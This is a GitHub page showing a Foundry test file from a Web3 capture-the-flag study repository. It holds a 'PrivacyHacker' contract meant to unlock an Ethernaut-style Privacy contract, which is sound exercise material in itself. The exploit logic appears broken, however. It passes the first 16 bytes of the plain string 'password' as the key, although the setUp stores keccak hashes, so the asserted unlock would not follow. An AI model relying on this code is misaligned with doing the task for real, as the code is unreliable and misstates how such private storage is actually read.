forked from DeFiHackLabs/Web3-CTF-Intensive-CoLearning
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Privacy.t.sol
39 lines (32 loc) · 1 KB
/
Privacy.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Test, console} from "../lib/forge-std/src/Test.sol";
import {Privacy} from "../src/Privacy.sol";
contract PrivacyTest is Test {
Privacy target;
PrivacyHacker hackTarget;
function setUp() public {
bytes32[3] memory data = [
keccak256(abi.encodePacked("password1")),
keccak256(abi.encodePacked("password2")),
keccak256(abi.encodePacked("password3"))
];
target = new Privacy(data);
hackTarget = new PrivacyHacker(address(target));
}
function test_PrivacyToReceiveEther() public {
hackTarget.attack("password");
assert(target.locked() == false);
}
}
contract PrivacyHacker {
Privacy target;
constructor(address _target) {
target = Privacy(_target);
}
function attack(string memory _key) public {
bytes memory keyBytes = abi.encodePacked(_key);
bytes16 key = bytes16(keyBytes);
target.unlock(key);
}
}